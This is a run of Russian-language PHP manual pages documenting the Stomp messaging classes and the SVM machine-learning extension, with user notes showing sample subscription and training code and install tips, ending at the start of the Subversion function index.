There are no user contributed notes for this page.


Регистрирует подписку на указанную рассылку

  • « Stomp::setReadTimeout
  • Stomp::unsubscribe »
  • PHP Manual
  • Stomp
  • Регистрирует подписку на указанную рассылку

Stomp::subscribe

stomp_subscribe

(PECL stomp >= 0.1.0)

Stomp::subscribe -- stomp_subscribe — Регистрирует подписку на указанную рассылку

Описание

Объектно-ориентированный стиль (метод):

public Stomp::subscribe(string $destination, array $headers = ?): bool

Процедурный стиль:

stomp_subscribe(resource $link, string $destination, array $headers = ?): bool

Регистрирует подписку на указанную рассылку.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

destination

Рассылка, на которую необходимо зарегистрировать подписку.

headers

Ассоциативный массив, содержащий дополнительные заголовки (пример: receipt).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Смотрите stomp_ack().

Примечания

Подсказка

Stomp асинхронен по своей сути. Синхронная связь может быть реализована добавлением receipt-заголовка. Это заставит методы ничего не возвращать, пока сервер не подтвердит получение сообщения или не будет превышено время ожидания сообщения.

User Contributed Notes

holycd 27-Jul-2017 02:50
Using Topics from PHP over Stomp
$clientId = 'test:dev';
$topic  = '/topic/perm.user';

try {
    $stomp = new Stomp('tcp://localhost:61613','system','manager', array('client-id'=> $clientId ));
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

$isSubscribe = $stomp->subscribe($topic);

while($isSubscribe){
    if ($stomp->hasFrame()) {
        $frame = $stomp->readFrame();
        if ($frame != NULL) {
            print "Received: " . $frame->body . " - time now is " . date("Y-m-d H:i:s"). "\n";
//            $stomp->ack($frame);
        }
//       sleep(1);
    }
    else {
        print "No frames to read\n";
    }
}
if($isSubscribe){
    $stomp->unsubscribe($topic);
    unset($stomp);
}

Can not receive the topic frame


Удаляет существующую подписку

  • « Stomp::subscribe
  • StompFrame »
  • PHP Manual
  • Stomp
  • Удаляет существующую подписку

Stomp::unsubscribe

stomp_unsubscribe

(PECL stomp >= 0.1.0)

Stomp::unsubscribe -- stomp_unsubscribe — Удаляет существующую подписку

Описание

Объектно-ориентированный стиль (метод):

public Stomp::unsubscribe(string $destination, array $headers = ?): bool

Процедурный стиль:

stomp_unsubscribe(resource $link, string $destination, array $headers = ?): bool

Удаляет существующую подписку.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

destination

Подписка для удаления.

headers

Ассоциативный массив, содержащий дополнительные заголовки (пример: receipt).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Смотрите stomp_ack().

Примечания

Подсказка

Stomp асинхронен по своей сути. Синхронная связь может быть реализована добавлением receipt-заголовка. Это заставит методы ничего не возвращать, пока сервер не подтвердит получение сообщения или не будет превышено время ожидания сообщения.

User Contributed Notes

There are no user contributed notes for this page.


Класс StompFrame

(PECL stomp >= 0.1.0)

Введение

Представляет сообщение, которое было отправлено или получено от Stomp-совместимого брокера сообщений (Message Broker).

Обзор классов

class StompFrame {
/* Свойства */
public $command;
public $headers;
public $body;
/* Методы */
__construct(string $command = ?, array $headers = ?, string $body = ?)
}

Свойства

command

Команда фрейма.

headers

Заголовки фрейма (array).

body

Тело фрейма.

Содержание

  • StompFrame::__construct — Конструктор

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « StompFrame
  • StompException »
  • PHP Manual
  • StompFrame
  • Конструктор

StompFrame::__construct

(PECL stomp >= 0.1.0)

StompFrame::__construct — Конструктор

Описание

StompFrame::__construct(string $command = ?, array $headers = ?, string $body = ?)

Конструктор.

Список параметров

command

Команда фрейма.

headers

Заголовки фрейма (array).

body

Тело фрейма.

User Contributed Notes

There are no user contributed notes for this page.


Класс StompException

(PECL stomp >= 0.1.0)

Введение

Представляет ошибку, вызванную модулем Stomp. Смотрите Исключения для получения подробной информации об исключениях в PHP.

Обзор классов

class StompException extends Exception {
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
/* Методы */
public getDetails(): string
}

Содержание

  • StompException::getDetails — Возвращает сведения об исключении

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сведения об исключении

  • « StompException
  • SVM »
  • PHP Manual
  • StompException
  • Возвращает сведения об исключении

StompException::getDetails

(PECL stomp >= 0.1.0)

StompException::getDetails — Возвращает сведения об исключении

Описание

public StompException::getDetails(): string

Получает сведения об исключении.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка (string), содержащая описание ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Support Vector Machine (Вспомогательная векторная машина)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Примеры
  • SVM — Класс SVM
    • SVM::__construct — Конструктор класса SVM
    • SVM::crossvalidate — Тестирование обучающих параметров на подмножествах обучающих данных
    • SVM::getOptions — Получить текущие параметры обучения
    • SVM::setOptions — Установить параметры обучения
    • SVM::train — Создать SVMModel на основе обучающих данных
  • SVMModel — Класс SVMModel
    • SVMModel::checkProbabilityModel — Возвращает true, если модель содержит информацию о вероятностях
    • SVMModel::__construct — Конструктор класса SVMModel
    • SVMModel::getLabels — Возвращает метки, на которых обучалась модель
    • SVMModel::getNrClass — Возвращает количество классов, для которых обучалась модель
    • SVMModel::getSvmType — Получить тип SVM, с которым обучалась модель
    • SVMModel::getSvrProbability — Получить величину сигмы для регрессионного типа
    • SVMModel::load — Загружает сохранённую модель SVM
    • SVMModel::predict_probability — Возвращает вероятность класса для заданных данных
    • SVMModel::predict — Предсказать значение на основе новых данных
    • SVMModel::save — Сохранить готовую модель в файл

User Contributed Notes

There are no user contributed notes for this page.


Введение

LibSVM - это эффективное решение для проблем классификации и регрессии SVM. Модуль svm обёртывает это в интерфейс PHP для простого использования в скриптах PHP.

User Contributed Notes

prawirayoga1 at gmail dot com 10-Jan-2017 10:00
make a tutorial implements svm in php for beginner, please. This is not easly understands yet.


Требования

Требуется, собственно, сам Libsvm и его разработческий пакет: для систем использующих RPM он называется libsvm-devel, а для систем на базе Debian - libsvm-dev. Или же можете загрузить напрямую с веб-сайта. Если устанавливаете с » официального веб-сайта, надо будет произвести некоторые действия, так как пакет самостоятельно не устанавливается. Например, для установки последней версии (3.1):

wget http://www.csie.ntu.edu.tw/~cjlin/cgi-bin/libsvm.cgi?+http://www.csie.ntu.edu.tw/~cjlin/libsvm+tar.gz
tar xvzf libsvm-3.1.tar.gz
cd libsvm-3.1
make lib
cp libsvm.so.1 /usr/lib
ln -s libsvm.so.1 libsvm.so
ldconfig
ldconfig --print | grep libsvm

На последнем шаге будет выведено местоположение установленного libsvm.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/svm

User Contributed Notes

veshraj dot joshi1 at gmail dot com 21-Dec-2017 10:37
This is note is only for mac OSX
You need to have pear and libsvm installed first ..

brew install libsvm

sudo pecl install -f svm

now you need to edit php.ini and append
extension=svm.so

restart you php server


Примеры

Процесс довольно прост: задаём параметры, предоставляем обучающие данные, на основе которых будет создана модель, а затем делаем прогнозы, основанные на этой модели. Набор параметров по умолчанию гарантирует получение хоть какого-то результата практически для любых входных данных, так что на нем останавливаться не будем и сразу перейдём к обучающим данным.

Есть три пути предоставления обучающих данных: файл, поток и массив. Если данные предоставляются с помощью файла или потока, то на каждой строке должен содержаться один обучающий пример, отформатированный следующим образом: в начале должно быть целое число (обычно 1 или -1), это число обозначается термином "класс", а следом за ним перечисление пар признак:значение в порядке увеличения признака. Признаки должны быть целыми числами, а их значения рациональными, обычно на диапазоне 0-1. Например:

-1 1:0.43 3:0.12 9284:0.2

В проблеме классификации документов, например, при проверке письма на спам, каждая строка должна представлять один документ. Для задачи проверки на спам нам понадобится два класса, -1 для спама и 1 для нормального письма. Каждый признак должен означать некое слово, а его значение - важность данного слова в документе (возможно, частота появления относительно длины элемента). Признаки со значением 0 (т.е. слово в документе не встречается) просто не включаем в набор.

В случае использования массива, данные должны быть представлены в виде массива массивов, в котором каждый вложенный массив должен первым элементом содержать класс, а все последующие элементы содержать пары "признак" => "значение".

Эти данные передаются обучающей функции класса SVM, которая в результате вернёт модель (SVMModel).

Созданная модель может использоваться для построения предположений о классе новых объектов, описанных признаками и их значениями. Данные, на основе которых делаются предположения, должны быть переданы функции модели в том же формате, что описан выше, но без указания их класса (т.е. без первого элемента), которая вернёт предполагаемый класс, подходящий под эти данные.

Модель впоследствии можно сохранять и загружать с помощью функций, принимающих путь к файлу в качестве параметра.

Пример #1 Обучение из массива

<?php
$data = array(
array(-1, 1 => 0.43, 3 => 0.12, 9284 => 0.2),
array(1, 1 => 0.22, 5 => 0.01, 94 => 0.11),
);

$svm = new SVM();
$model = $svm->train($data);

$data = array(1 => 0.43, 3 => 0.12, 9284 => 0.2);
$result = $model->predict($data);
var_dump($result);
$model->save('model.svm');
?>

Результатом выполнения данного примера будет что-то подобное:

int(-1)

Пример #2 Обучение из файла

<?php
$svm = new SVM();
$model = $svm->train("traindata.txt");
?>

User Contributed Notes

razvan_bc at yahoo dot com 04-Nov-2022 01:13
the example rated negative rated by the guy sign  "6765419 at qq dot com"  also works too!

<?php
$data = array(
            array(-1, 1 =>170, 2 => 60),//-1  ????,key 1????,key 2????=Represents a boy, key 1 represents height, key 2 represents weight
            array(-1, 1 =>180, 2 => 70),
            array(1, 1 => 160, 2 => 46),//1  ????,key 1????,key 2????=Represents a girl, key 1 represents height, key 2 represents weight
            array(1, 1 => 155, 2 => 40),
        );
$svm = new SVM();
$model = $svm->train($data);
$data = array( 1 => 165, 2 =>60);//???? =Test Data
$result = $model->predict($data);
echo var_dump($result);//echo var_export($result);
//return;
?>

so i got :

float(-1)
razvan_bc at yahoo dot com 04-Nov-2022 09:03
ok i did more tests..

getting the source
https://github.com/ianbarber/php-svm/blob/master/tests/002_predict.phpt  modified ..
<?php
$svm = new svmmodel();
//$result = $svm->load(dirname(__FILE__) . '/australian.model');
$result = $svm->load('australian.model');

if($result) {
    $data = array(
        "1" => 1,
        2 => -0.731729,
        3 => -0.886786,
        4 => -1,
        5 => 0.230769,
        "6" => -0.25,
        7 => -0.783509,
        8 => 1,
        9 => 1,
        10 => "-0.820896",
        11 => -1,
        13 => -0.92,
        "14" => "-1"
    );
    $result = $svm->predict($data);
    if($result > 0) {
        echo "ok";
        print_r($result);
    } else {
        echo "predict failed: $result";
    }
} else {
    echo "loading failed";
}
?>

with additional https://github.com/ianbarber/php-svm/blob/master/tests/australian.scale dropped inside the test folder where .php file is located i am able after running to get the result:
================================

ok1

so it's work
razvan_bc at yahoo dot com 04-Nov-2022 08:41
i forgot a detail!
the installation folders if you think to install it manually in windows xampp should be  c:\xampp\php\lib\libsvm-3.1 (for the files i described in the first post) and extension in c:\xampp\php\ext (php_svm.dll)

works.good luck
razvan_bc at yahoo dot com 04-Nov-2022 08:33
from pecl.php.net i download svm php_svm-0.2.3-8.1-ts-vs16-x64.zip so i read in README.md ..

=====================================================
Data is supplied in either a file, a stream, or as an an array. If supplied in a file or a stream, it must contain one line per training example, which must be formatted as an integer class (usually 1 and -1) followed by a series of feature/value pairs, in increasing feature order. The features are integers, the values floats, usually scaled 0-1. For example:

    -1 1:0.43 3:0.12 9284:0.2

=====================================================

so creating traindata.txt with the content  -1 1:0.43 3:0.12 9284:0.2 leads me to use it in the second example:

<?php
$svm = new SVM();
$model = $svm->train("traindata.txt");
$model->save('model2.svm');
?>

and running and editing the model2.svm i got the content:
-------------------------------------------------------------------
svm_type c_svc
kernel_type rbf
gamma 0.00010771219302024989
nr_class 1
total_sv 0
rho
label -1
nr_sv 0
SV
--------------------------------------------------------------------

so yes i think it's work, how i said i need to do more tests to get control with main functions to think to other more complicated
razvan_bc at yahoo dot com 04-Nov-2022 08:24
premises:php 8.1 ,windows 64
----------------------------------

install (for beginners)
--------
after i visit https://github.com/ianbarber/php-svm

and i got from url found on page(install script)
..  http://www.csie.ntu.edu.tw/~cjlin/cgi-bin/libsvm.cgi?+http://www.csie.ntu.edu.tw/~cjlin/libsvm+tar.gz

and manual install it:
1.php.ini
 (after the main group extension=... about 12 pieces)
...
extension=svm
...

2.I put manually inside php a folder called libsvm-3.1 then i unzip there libsvm.dll , libsvmread.mexw64 ,libsvmwrite.mexw64 , svmpredict.mexw64 , svm-predict.exe, svm-scale.exe , svm-toy.exe , svmtrain.mexw64, svm-train.exe !

running
<?php

$data = array(
    array(-1, 1 => 0.43, 3 => 0.12, 9284 => 0.2),
    array(1, 1 => 0.22, 5 => 0.01, 94 => 0.11),
);

$svm = new SVM();
$model = $svm->train($data);

$data = array(1 => 0.43, 3 => 0.12, 9284 => 0.2);
$result = $model->predict($data);
var_dump($result);
$model->save('model.svm');

?>

via server(apache ,php,mariadb;even custom or xampp) now i got results:
i got model.svm with the content
================================
svm_type c_svc
kernel_type rbf
gamma 0.00010771219302024989
nr_class 2
total_sv 2
rho 0
label 1 -1
nr_sv 1 1
SV
1 1:0.22 5:0.01 94:0.11
-1 1:0.43 3:0.12 9284:0.2
=================================

so i think is very cool ..for a startup.
i will look around phpt files from github to understand why in yesterday's tests i got errors with some function witch require 2 parameters and not one like in the manual
6765419 at qq dot com 02-Nov-2013 08:49
$data = array(
            array(-1, 1 =>170, 2 => 60),//-1????,key 1????,key 2????
            array(-1, 1 =>180, 2 => 70),
            array(1, 1 => 160, 2 => 46),//1????,key 1????,key 2????
            array(1, 1 => 155, 2 => 40),
        );
$svm = new SVM();
$model = $svm->train($data);
$data = array( 1 => 165, 2 =>60);//????
$result = $model->predict($data);
echo var_export($result);
return;


Класс SVM

(PECL svm >= 0.1.0)

Введение

Обзор классов

class SVM {
/* Константы */
const int C_SVC = 0;
const int NU_SVC = 1;
const int ONE_CLASS = 2;
const int EPSILON_SVR = 3;
const int NU_SVR = 4;
const int KERNEL_LINEAR = 0;
const int KERNEL_POLY = 1;
const int KERNEL_RBF = 2;
const int KERNEL_SIGMOID = 3;
const int KERNEL_PRECOMPUTED = 4;
const int OPT_TYPE = 101;
const int OPT_KERNEL_TYPE = 102;
const int OPT_DEGREE = 103;
const int OPT_SHRINKING = 104;
const int OPT_PROPABILITY = 105;
const int OPT_GAMMA = 201;
const int OPT_NU = 202;
const int OPT_EPS = 203;
const int OPT_P = 204;
const int OPT_COEF_ZERO = 205;
const int OPT_C = 206;
const int OPT_CACHE_SIZE = 207;
/* Методы */
public __construct()
public svm::crossvalidate(array $problem, int $number_of_folds): float
public getOptions(): array
public setOptions(array $params): bool
public svm::train(array $problem, array $weights = ?): SVMModel
}

Предопределённые константы

Константы SVM

SVM::C_SVC

Базовый тип SVM. Тип по умолчанию, хорош для начала.

SVM::NU_SVC

Тип NU_SVC использует другой, более гибкий подход к развесовке ошибок.

SVM::ONE_CLASS

Одноклассовая модель. Тренирует только на одном классе, используя "выпадающие" данные в качестве отрицательных примеров

SVM::EPSILON_SVR

Тип для регрессии (прогнозирование значения, а не просто класса)

SVM::NU_SVR

Тип регрессии SVM в стиле NU

SVM::KERNEL_LINEAR

Очень простое ядро, которое хорошо работает для классификации проблем больших документов

SVM::KERNEL_POLY

Полиноминальное ядро

SVM::KERNEL_RBF

Стандартное Гауссово RBD ядро. Хорошо обрабатывает нелинейные проблемы и является хорошим значением по умолчанию для классификации

SVM::KERNEL_SIGMOID

Ядро базирующееся на сигмоидной функции. Очень похоже на использование двухуровневой сигмоидной нейронной сети

SVM::KERNEL_PRECOMPUTED

Предварительно вычисленное ядро - сейчас не поддерживается

SVM::OPT_TYPE

Опциональный ключ для типа SVM

SVM::OPT_KERNEL_TYPE

Опциональный ключ для типа ядра

SVM::OPT_DEGREE

SVM::OPT_SHRINKING

Параметр обучения, логическое значение, определяющий использование сокращающей эвристики

SVM::OPT_PROBABILITY

Параметр обучения, логическое значение, определяющий, будут ли собираться и использоваться оценки вероятности

SVM::OPT_GAMMA

Параметр алгоритма для следующих типов ядра: Полиноминальное, RBF и Сигмоидное

SVM::OPT_NU

Опциональный ключ для параметра nu. Используется только с типами NU_ SVM

SVM::OPT_EPS

Опциональный ключ для параметра Epsilon. Используется только в Эпсилон-регрессии

SVM::OPT_P

Обучающий параметр для Эпсилон-регрессии SVR

SVM::OPT_COEF_ZERO

Параметр алгоритма для полиноминального и сигмоидного ядра

SVM::OPT_C

Опция для параметра стоимости, контролирующего компромисс между ошибками и неопределённостями - фактически штраф за ошибочную классификацию обучающих примеров.

SVM::OPT_CACHE_SIZE

Размер кеша в памяти в мегабайтах

Содержание

  • SVM::__construct — Конструктор класса SVM
  • SVM::crossvalidate — Тестирование обучающих параметров на подмножествах обучающих данных
  • SVM::getOptions — Получить текущие параметры обучения
  • SVM::setOptions — Установить параметры обучения
  • SVM::train — Создать SVMModel на основе обучающих данных

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса SVM

  • « SVM
  • SVM::crossvalidate »
  • PHP Manual
  • SVM
  • Конструктор класса SVM

SVM::__construct

(PECL svm >= 0.1.0)

SVM::__construct — Конструктор класса SVM

Описание

public SVM::__construct()

Создаёт новый объект SVM, готовый к приёму обучающих данных.

Список параметров

У этой функции нет параметров.

Ошибки

Выбрасывает SVMException, если не может быть загружена библиотека libsvm.

User Contributed Notes

There are no user contributed notes for this page.


Тестирование обучающих параметров на подмножествах обучающих данных

  • « SVM::__construct
  • SVM::getOptions »
  • PHP Manual
  • SVM
  • Тестирование обучающих параметров на подмножествах обучающих данных

SVM::crossvalidate

(PECL svm >= 0.1.0)

SVM::crossvalidate — Тестирование обучающих параметров на подмножествах обучающих данных

Описание

public svm::crossvalidate(array $problem, int $number_of_folds): float

Перекрёстная проверка может быть использована для проверки эффективности текущего набора параметров для подмножествах обучающих данных. Заданы набор данных по проблеме и количество "свёрток", фактически означающее на сколько подмножеств делить заданный набор, чтобы в цикле обучаться на одном подмножестве и тестироваться на другом. В целом точность будет ниже, чем при обучении на полном наборе данных, но возвращаемая оценка будет полезна для сравнения качества обучения с использованием разных параметров.

Список параметров

problem

Данные по проблеме. Могут быть как массивом, так и ссылкой на файл в формате SVMLight или на поток, предоставляющий источник данных в формате SVMLight.

number_of_folds

Количество подмножеств, на которые будет разделён общих набор обучающих данных. Чем больше это число, тем более короткими и менее надёжными будут обучающие наборы. Хорошее число для начала - 5.

Возвращаемые значения

Процент корректной классификации в виде числа в диапазоне от 0 до 1. В случае ядер NU_SVC и EPSILON_SVR будет возвращена среднеквадратичная ошибка.

Смотрите также

  • SVM::train() - Создать SVMModel на основе обучающих данных

User Contributed Notes

kadirerturk at gmail dot com 10-Oct-2014 05:14
$svm = new SVM();
$cross = $svm->crossvalidate("/svmScaled.data" , 5); // 5 fold cross val
var_dump($cross); //


Получить текущие параметры обучения

  • « SVM::crossvalidate
  • SVM::setOptions »
  • PHP Manual
  • SVM
  • Получить текущие параметры обучения

SVM::getOptions

(PECL svm >= 0.1.0)

SVM::getOptions — Получить текущие параметры обучения

Описание

public SVM::getOptions(): array

Возвращает массив, содержащий параметры обучения. В качестве ключей используются значения предопределённых констант SVM.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий параметры обучения.

User Contributed Notes

There are no user contributed notes for this page.


Установить параметры обучения

  • « SVM::getOptions
  • SVM::train »
  • PHP Manual
  • SVM
  • Установить параметры обучения

SVM::setOptions

(PECL svm >= 0.1.0)

SVM::setOptions — Установить параметры обучения

Описание

public SVM::setOptions(array $params): bool

Устанавливает один или несколько параметров обучения.

Список параметров

params

Массив параметров обучения, где в качестве ключей используются константы SVM.

Возвращаемые значения

Возвращает true в случае успешного выполнения, в случае возникновения ошибки выбрасывает SVMException.

User Contributed Notes

There are no user contributed notes for this page.


Создать SVMModel на основе обучающих данных

  • « SVM::setOptions
  • SVMModel »
  • PHP Manual
  • SVM
  • Создать SVMModel на основе обучающих данных

SVM::train

(PECL svm >= 0.1.0)

SVM::train — Создать SVMModel на основе обучающих данных

Описание

public svm::train(array $problem, array $weights = ?): SVMModel

Создаёт SVMModel на основе обучающих данных.

Список параметров

problem

Есть три пути предоставления обучающих данных: файл, поток и массив. Если данные предоставляются с помощью файла или потока, то на каждой строке должен содержаться один обучающий пример, отформатированный следующим образом: в начале должно быть целое число (обычно 1 или -1), это число обозначается термином "класс", а следом за ним перечисление пар признак:значение в порядке увеличения признака. Признаки должны быть целыми числами, а их значения рациональными, обычно на диапазоне 0-1. В случае использования массива, данные должны быть представлены в виде массива массивов, в котором каждый вложенный массив должен первым элементом содержать класс, а все последующие элементы содержать пары "признак" => "значение".

weights

Необязательный набор весовых коэффициентов для разных классов, помогающие работать с несбалансированными обучающими наборами. К примеру, если у нас два класса, 1 и -1, и обучающих примеров для класса -1 сильно больше, то вес для -1 надо выставить равным 0.5. Вес должен быть в диапазон от 0 до 1.

Возвращаемые значения

Возвращает объект класса SVMModel. В случае возникновения ошибки выбрасывает SVMException

User Contributed Notes

There are no user contributed notes for this page.


Класс SVMModel

(PECL svm >= 0.1.0)

Введение

SVMModel - это конечный результат процесса обучения. Он может быть использован для классификации ранее неизвестных данных.

Обзор классов

class SVMModel {
/* Методы */
public __construct(string $filename = ?)
public checkProbabilityModel(): bool
public getLabels(): array
public getNrClass(): int
public getSvmType(): int
public getSvrProbability(): float
public load(string $filename): bool
public predict_probability(array $data): float
public predict(array $data): float
public save(string $filename): bool
}

Содержание

  • SVMModel::checkProbabilityModel — Возвращает true, если модель содержит информацию о вероятностях
  • SVMModel::__construct — Конструктор класса SVMModel
  • SVMModel::getLabels — Возвращает метки, на которых обучалась модель
  • SVMModel::getNrClass — Возвращает количество классов, для которых обучалась модель
  • SVMModel::getSvmType — Получить тип SVM, с которым обучалась модель
  • SVMModel::getSvrProbability — Получить величину сигмы для регрессионного типа
  • SVMModel::load — Загружает сохранённую модель SVM
  • SVMModel::predict_probability — Возвращает вероятность класса для заданных данных
  • SVMModel::predict — Предсказать значение на основе новых данных
  • SVMModel::save — Сохранить готовую модель в файл

User Contributed Notes

There are no user contributed notes for this page.


Возвращает true, если модель содержит информацию о вероятностях

  • « SVMModel
  • SVMModel::__construct »
  • PHP Manual
  • SVMModel
  • Возвращает true, если модель содержит информацию о вероятностях

SVMModel::checkProbabilityModel

(PECL svm >= 0.1.5)

SVMModel::checkProbabilityModel — Возвращает true, если модель содержит информацию о вероятностях

Описание

public SVMModel::checkProbabilityModel(): bool

Возвращает true, если модель содержит информацию о вероятностях.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса SVMModel

  • « SVMModel::checkProbabilityModel
  • SVMModel::getLabels »
  • PHP Manual
  • SVMModel
  • Конструктор класса SVMModel

SVMModel::__construct

(PECL svm >= 0.1.0)

SVMModel::__construct — Конструктор класса SVMModel

Описание

public SVMModel::__construct(string $filename = ?)

Создаёт объект класса SVMModel. Обычно модели создаются методом SVM::train, но сохранённые модели можно восстановить напрямую.

Список параметров

filename

Имя файла, в котором сохранена модель.

Ошибки

Выбрасывает исключение SVMException в случае возникновения ошибки

Смотрите также

  • SVMModel::load() - Загружает сохранённую модель SVM

User Contributed Notes

There are no user contributed notes for this page.


Возвращает метки, на которых обучалась модель

  • « SVMModel::__construct
  • SVMModel::getNrClass »
  • PHP Manual
  • SVMModel
  • Возвращает метки, на которых обучалась модель

SVMModel::getLabels

(PECL svm >= 0.1.5)

SVMModel::getLabels — Возвращает метки, на которых обучалась модель

Описание

public SVMModel::getLabels(): array

Возвращает массив меток (классов), на которых была обучена модель. Для регрессивной и одноклассовой модели возвращается пустой массив.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив меток

Смотрите также

  • SVMModel::getNrClass() - Возвращает количество классов, для которых обучалась модель

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество классов, для которых обучалась модель

  • « SVMModel::getLabels
  • SVMModel::getSvmType »
  • PHP Manual
  • SVMModel
  • Возвращает количество классов, для которых обучалась модель

SVMModel::getNrClass

(PECL svm >= 0.1.5)

SVMModel::getNrClass — Возвращает количество классов, для которых обучалась модель

Описание

public SVMModel::getNrClass(): int

Возвращает количество классов, для которых обучалась модель. Для одноклассовой и регрессивной моделей вернёт 2.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число

User Contributed Notes

There are no user contributed notes for this page.


Получить тип SVM, с которым обучалась модель

  • « SVMModel::getNrClass
  • SVMModel::getSvrProbability »
  • PHP Manual
  • SVMModel
  • Получить тип SVM, с которым обучалась модель

SVMModel::getSvmType

(PECL svm >= 0.1.5)

SVMModel::getSvmType — Получить тип SVM, с которым обучалась модель

Описание

public SVMModel::getSvmType(): int

Возвращает целое число, представляющее одну из констант класса SVM. Например SVM::C_SVC.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число

User Contributed Notes

There are no user contributed notes for this page.


Получить величину сигмы для регрессионного типа

  • « SVMModel::getSvmType
  • SVMModel::load »
  • PHP Manual
  • SVMModel
  • Получить величину сигмы для регрессионного типа

SVMModel::getSvrProbability

(PECL svm >= 0.1.5)

SVMModel::getSvrProbability — Получить величину сигмы для регрессионного типа

Описание

public SVMModel::getSvrProbability(): float

Возвращает значение сигмы для регрессионных моделей. Если информация по вероятности отсутствует или модель не SVR, то возвратит 0.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает величину сигмы

User Contributed Notes

There are no user contributed notes for this page.


Загружает сохранённую модель SVM

  • « SVMModel::getSvrProbability
  • SVMModel::predict_probability »
  • PHP Manual
  • SVMModel
  • Загружает сохранённую модель SVM

SVMModel::load

(PECL svm >= 0.1.00.1.0)

SVMModel::load — Загружает сохранённую модель SVM

Описание

public SVMModel::load(string $filename): bool

Загружает сохранённую модель SVM из файла, готовую к классификации и регрессу.

Список параметров

filename

Имя файла для загрузки.

Возвращаемые значения

В случае возникновения ошибки выбрасывает SVMException. В случае успешного выполнения возвращает true.

Смотрите также

  • SVMModel::save() - Сохранить готовую модель в файл

User Contributed Notes

There are no user contributed notes for this page.


Возвращает вероятность класса для заданных данных

  • « SVMModel::load
  • SVMModel::predict »
  • PHP Manual
  • SVMModel
  • Возвращает вероятность класса для заданных данных

SVMModel::predict_probability

(PECL svm >= 0.1.4)

SVMModel::predict_probability — Возвращает вероятность класса для заданных данных

Описание

public SVMModel::predict_probability(array $data): float

Функция принимает массив данных и пытается предсказать класс, как и функция предсказания. Однако, дополнительно функция возвратит массив вероятностей, по одной на класс в модели, которая представляет вероятность того, что данные принадлежат именно к этому классу. Работает только если модель обучалась с параметром вероятности установленном в true.

Список параметров

data

Данные для классификации. Массив должен содержать элементы в формате "признак" => "значение", отсортированный по возрастанию признака. Признаки не обязательно должны представлять собой непрерывную последовательность.

probabilities

Заданная переменная будет заполнена вероятностями. Если модель обучалась без параметра вероятности, будет возвращён null. Созданный массив будет содержать в качестве ключей метки классов, а в качестве значений - значения вероятности.

Возвращаемые значения

Прогнозируемое значение типа float. В случае классификации оно будет отражать метку класса, а в случае регрессии - рациональное число. В случае возникновения ошибки выбрасывает SVMException

Смотрите также

  • SVM::predict()

User Contributed Notes

There are no user contributed notes for this page.


Предсказать значение на основе новых данных

  • « SVMModel::predict_probability
  • SVMModel::save »
  • PHP Manual
  • SVMModel
  • Предсказать значение на основе новых данных

SVMModel::predict

(PECL svm >= 0.1.0)

SVMModel::predict — Предсказать значение на основе новых данных

Описание

public SVMModel::predict(array $data): float

Функция принимает массив данных и пытается предсказать класс или величину регрессии основываясь на модели, обученной на предыдущих данных.

Список параметров

data

Данные для классификации. Массив должен содержать элементы в формате "признак" => "значение", отсортированный по возрастанию признака. Признаки не обязательно должны представлять собой непрерывную последовательность.

Возвращаемые значения

Прогнозируемое значение типа float. В случае классификации оно будет отражать метку класса, а в случае регрессии - рациональное число. В случае возникновения ошибки выбрасывает SVMException

Смотрите также

  • SVM::train() - Создать SVMModel на основе обучающих данных

User Contributed Notes

There are no user contributed notes for this page.


Сохранить готовую модель в файл

  • « SVMModel::predict
  • SVN »
  • PHP Manual
  • SVMModel
  • Сохранить готовую модель в файл

SVMModel::save

(PECL svm >= 0.1.0)

SVMModel::save — Сохранить готовую модель в файл

Описание

public SVMModel::save(string $filename): bool

Сохраняет готовую модель в файл.

Список параметров

filename

Имя файла для сохранения модели.

Возвращаемые значения

В случае возникновения ошибки выбрасывает SVMException. В случае успешного выполнения возвращает true.

Смотрите также

  • SVMModel::load() - Загружает сохранённую модель SVM

User Contributed Notes

There are no user contributed notes for this page.


Subversion

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции SVN
    • svn_add — Добавляет элементы в список запланированных для добавления в рабочую копию
    • svn_auth_get_parameter — Возвращает параметр аутентификации
    • svn_auth_set_parameter — Устанавливает параметр аутентификации
    • svn_blame — Построчно выводит автора и редакцию для файла
    • svn_cat — Возвращает содержимое файла в репозитории
    • svn_checkout — Получает рабочую копию из репозитория
    • svn_cleanup — Рекурсивно очищает рабочую копию директории, завершает незаконченные операции и снимает блокировки
    • svn_client_version — Возвращает версию клиентских библиотек SVN
    • svn_commit — Отправляет изменения из рабочей директории в репозиторий
    • svn_delete — Удаляет элементы из рабочей копии или репозитория
    • svn_diff — Рекурсивно показывает различия двух файлов
    • svn_export — Экспортирует содержимое директории SVN
    • svn_fs_abort_txn — Отменяет транзакцию
